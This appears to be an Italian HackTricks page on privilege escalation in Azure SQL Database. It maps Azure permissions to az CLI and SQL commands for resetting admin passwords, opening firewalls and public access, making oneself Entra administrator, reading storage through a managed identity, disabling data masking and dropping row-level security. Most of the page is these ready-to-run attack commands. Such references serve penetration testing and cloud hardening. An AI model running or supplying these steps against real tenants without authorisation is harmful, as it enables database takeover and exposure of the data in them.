# Az - SQL Database Privesc

{{#include ../../../banners/hacktricks-training.md}}

## SQL Database Privesc

Per ulteriori informazioni su SQL Database controlla:

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`

Con questi permessi, un utente può eseguire un'escursione dei privilegi aggiornando o creando server SQL di Azure e modificando configurazioni critiche, comprese le credenziali amministrative. Questo permesso consente all'utente di aggiornare le proprietà del server, inclusa la password dell'amministratore del server SQL, consentendo accesso non autorizzato o controllo sul server. Possono anche creare nuovi server, potenzialmente introducendo infrastrutture shadow per scopi malevoli. Questo diventa particolarmente critico in ambienti in cui "Microsoft Entra Authentication Only" è disabilitato, poiché possono sfruttare l'autenticazione basata su SQL per ottenere accesso illimitato.
```bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
```
Inoltre, è necessario avere l'accesso pubblico abilitato se si desidera accedere da un endpoint non privato. Per abilitarlo:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
```
Inoltre, con i permessi puoi abilitare l'assegnazione dell'identità, operare con l'identità gestita collegata al server. Ad esempio qui con un'identità gestita che può accedere ad Azure Storage:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
```

```sql 
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
```
### `Microsoft.Sql/servers/firewallRules/write`

Un attaccante può manipolare le regole del firewall sui server Azure SQL per consentire accessi non autorizzati. Questo può essere sfruttato per aprire il server a indirizzi IP specifici o a interi intervalli di IP, inclusi gli IP pubblici, consentendo l'accesso a attori malevoli. Questa attività di post-sfruttamento può essere utilizzata per eludere i controlli di sicurezza di rete esistenti, stabilire persistenza o facilitare il movimento laterale all'interno dell'ambiente esponendo risorse sensibili.
```bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
```
Inoltre, il permesso `Microsoft.Sql/servers/outboundFirewallRules/delete` consente di eliminare una regola del firewall.  
NOTA: È necessario avere l'accesso pubblico abilitato.

### `Microsoft.Sql/servers/ipv6FirewallRules/write`

Con questo permesso, puoi creare, modificare o eliminare regole del firewall IPv6 su un Azure SQL Server. Questo potrebbe consentire a un attaccante o a un utente autorizzato di eludere le configurazioni di sicurezza di rete esistenti e ottenere accesso non autorizzato al server. Aggiungendo una regola che consente il traffico da qualsiasi indirizzo IPv6, l'attaccante potrebbe aprire il server all'accesso esterno.
```bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
```
Inoltre, il permesso `Microsoft.Sql/servers/ipv6FirewallRules/delete` consente di eliminare una regola del firewall.  
NOTA: È necessario avere abilitato l'accesso pubblico.

### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`

Con questi permessi puoi eseguire un privesc in un ambiente Azure SQL Server accedendo ai database SQL e recuperando informazioni critiche. Utilizzando il comando qui sotto, un attaccante o un utente autorizzato può impostare se stesso o un altro account come amministratore di Azure AD. Se "Microsoft Entra Authentication Only" è abilitato, puoi accedere al server e alle sue istanze. Ecco il comando per impostare l'amministratore di Azure AD per un server SQL:
```bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`

Con queste autorizzazioni, puoi configurare e applicare "Microsoft Entra Authentication Only" su un Azure SQL Server, il che potrebbe facilitare l'escalation dei privilegi in determinate situazioni. Un attaccante o un utente autorizzato con queste autorizzazioni può abilitare o disabilitare l'autenticazione solo con Azure AD.
```bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
```
### Microsoft.Sql/servers/databases/dataMaskingPolicies/write
Modifica (o disabilita) le politiche di mascheramento dei dati sui tuoi database SQL.
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
```
### Rimuovi la Sicurezza a Livello di Riga
Se accedi come admin, puoi rimuovere le politiche dell'admin stesso e di altri utenti.
```sql
DROP SECURITY POLICY [Name_of_policy];
```
{{#include ../../../banners/hacktricks-training.md}}
